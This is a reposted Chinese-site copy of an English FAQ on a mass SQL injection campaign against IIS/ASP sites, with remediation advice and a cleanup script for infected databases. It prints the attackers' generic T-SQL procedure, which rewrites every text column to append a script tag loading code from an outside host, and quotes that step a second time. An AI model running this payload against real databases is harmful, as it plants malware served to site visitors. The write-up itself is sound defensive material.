外国的注入技巧收集

所属分类: 网络安全 / 黑客教程 阅读数: 2024
收藏 0 赞 0 分享
The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
So, to recap:
There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.
In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.
What should I do if I’m the administrator of an infected site?
First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with

EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite.com/1.js></script>'''
);

it locates and removes it with

EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);

Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.




更多精彩内容其他人还在看

百度Hi Csrf蠕虫攻击

漏洞起因:百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等BLOG社区服务,拥有海量的用户群,号称全球最大中文社区。80sec发现过百度产品一系列的安全漏洞,其中一些问题得到了有效的修补,但是百度的产品仍然存在很多严重的安全漏洞,利用这些漏洞
收藏 0 赞 0 分享

ACCESS高级注入教程

现在我们在脚本注入攻击的技术中,常用的手法分好多种,最普通的是利用子查询或者是Union联合查询来取得一些特殊表中的内容,比如Admin,Log表等等,这是一种纯粹的对数据库的攻击方式,而MSSQL Server的方法则更为多样和复杂
收藏 0 赞 0 分享

最经典的黑客入门教程(安全必备技能)

无论那类黑客,他们最初的学习内容都将是本部分所涉及的内容,而且掌握的基本技能也都是一样的。即便日后他们各自走上了不同的道路,但是所做的事情也差不多,只不过出发点和目的不一样而已
收藏 0 赞 0 分享

qq号被盗了怎么办 如何找回被盗的QQ号码

这篇文章主要为大家分享一下当qq被盗时的找回密码的方法需要的朋友可以参考一下,尽量到官方网站操作
收藏 0 赞 0 分享

盘点2016上半年十大APT神秘黑客组织

众所周知,近几年来。世界各大组织都曾遭到APT的神秘攻击,其无孔不入,几乎所有的行业都受到了威胁,下面小编就为大家盘点2016上半年十大APT神秘黑客组织
收藏 0 赞 0 分享

不容小觑的十大互联网恶意软件

这篇文章主要为大家详细介绍了互联网十大恶意软件威胁,十大恶意软件有哪些,每一个恶意软件的特点,感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

如何将共享文件设置为允许读取共享文件禁止复制共享文件、允许打开共享文件而禁止拷贝

这篇文章主要为大家详细介绍了如何将共享文件设置为允许读取共享文件禁止复制共享文件、允许打开共享文件而禁止拷贝共享文件,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

大势至电脑文件防泄密系统如何设置网页黑白名单、禁止电脑访问某些网站

这篇文章主要介绍了大势至电脑文件防泄密系统如何设置网页黑白名单、禁止电脑访问某些网站,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
收藏 0 赞 0 分享

如何禁止电脑安装随身WIFI泄露保密文档、禁用无线路由、禁用随身wifi

这篇文章主要介绍了如何禁止电脑安装随身WIFI泄露保密文档、禁用无线路由、禁用随身wifi的相关资料,非常具有实用价值,需要的朋友可以参考下
收藏 0 赞 0 分享

禁止企业商业机密外泄、商业数据如何防复制、保密数据如何防泄漏

企业的商业秘密,作为一种在专利、商标、著作权之外的一项重要的知识产权,是企业得以生存发展的根基。这篇文章给大家介绍了如何禁止企业商业机密外泄、商业数据如何防复制、保密数据如何防泄漏,需要的朋友参考下本文吧
收藏 0 赞 0 分享
查看更多